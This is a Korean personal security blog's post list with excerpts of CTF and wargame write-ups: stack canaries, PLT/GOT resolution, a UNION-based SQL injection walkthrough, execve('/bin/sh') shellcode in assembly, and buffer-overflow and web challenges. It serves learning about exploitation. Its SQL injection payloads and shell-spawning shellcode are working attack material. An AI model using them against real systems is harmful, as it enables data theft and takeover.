목록전체 글 (14)
수호의 메모장
canary 존재 rbp - 8 -> canaryrbprbp + 8 -> return addr canary X rbprbp + 8 -> return addr

최초 호출 puts("blah");->call puts@plt puts@plt:1) jmp [puts@got]2) puts@got -> 동적 링커로 넘어감3) 동적 링커가 puts@got에 실제 함수 주소를 쓰게 됨4) 이후 jmp to real func address 2번째 이후 호출call puts@plt -> jmp [puts@got] -> real func3번 과정으로 인해 [puts@got]에는 real func address가 써있음.
보호되어 있는 글입니다.

Pets 파라미터에 SQL Injection 취약점이 존재한다. ' UNION SELECT null, null -- 위 페이로드를 통해 칼럼 수가 2임을 알 수 있다. ' UNION SELECT table_name, null from information_schema.tables -- 위 페이로드를 통해 table_name 들을 가지고 올 수 있다. 위 같은 경우 'users_zpyjut' table이 우리에게 있어 흥미로운 테이블임을 알 수 있다. 위 테이블을 대상으로 앞으로 SQL Injection을 진행할 예정이다. ' UNION SELECT column_name, null from information_schema.columns where table_name= 'users_zpyjut' -- 위 ..

execve('/bin/sh', 0, 0); 위 코드를 실행하면 '/bin/sh'이 실행되면서 shell을 획득할 수 있다. 이를 어셈블리어로 작성해보면 아래와 같다: mov rax,0x68732f6e69622f push rax mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,59 syscall https://x64.syscall.sh/ x64.syscall.sh System calls for x64 x64.syscall.sh syscall table은 위 사이트에서 확인이 가능하다. 이를 nasm을 사용하여 object 파일을 만들 수 있다: objdump로 shellcode를 확인할 수 있다: shellcode를 실제 C 코드로 실행해보자: #include #includ..

https://dreamhack.io/wargame/challenges/981 Permpkin Description chall 바이너리를 실행하여 플래그를 어떠한 연산을 거쳐 나온 결과를 flag1.txt와 flag2.txt로 저장하였습니다. 사용자는 chall 을 실행하여 sample flag를 연산한 후 rev1.txt와 rev2.txt 파일을 생성 dreamhack.io IDA로 main 함수를 열어보면 아래와 같이 되어 있다: __int64 __fastcall main(int a1, char **a2, char **a3) { size_t v3; // rbx size_t v4; // rbx char v6[32]; // [rsp+0h] [rbp-B0h] BYREF char v7[32]; // [rsp..

보호 기법이 적용돼 있지 않는 바이너리다. Segmentation fault가 발생하는 것으로 보아 BOF가 발생하는 것을 알 수 있다. main 함수를 의사코드로 표현하면 아래와 같다: int main() { func(0xDEADBEEF); return 0; } func의 의사코드로 표현하면 아래와 같다: void func(int a1){ char buf[32]; printf("overflow me : "); gets(buf); if(a1 == 0x41424344){ system("/bin/sh"); } else{ printf("Nah..\n"); } } func의 스택을 그리면 아래와 같다 0x080491a6 : push ebp 0x080491a7 : mov ebp,esp 0x080491a9 : pu..

The provided page 'Sense and Sensitivity!' are as follows: It shows up simple welcome page, seems like there is no interesting information here. There's one login page in /login.php Inside the source code of /login.php, there is one interesting comment indicating that database is being stored in /assets. boom! webapp.db can be located here, webapp.db is a SQLite database file, by using SQLite I ..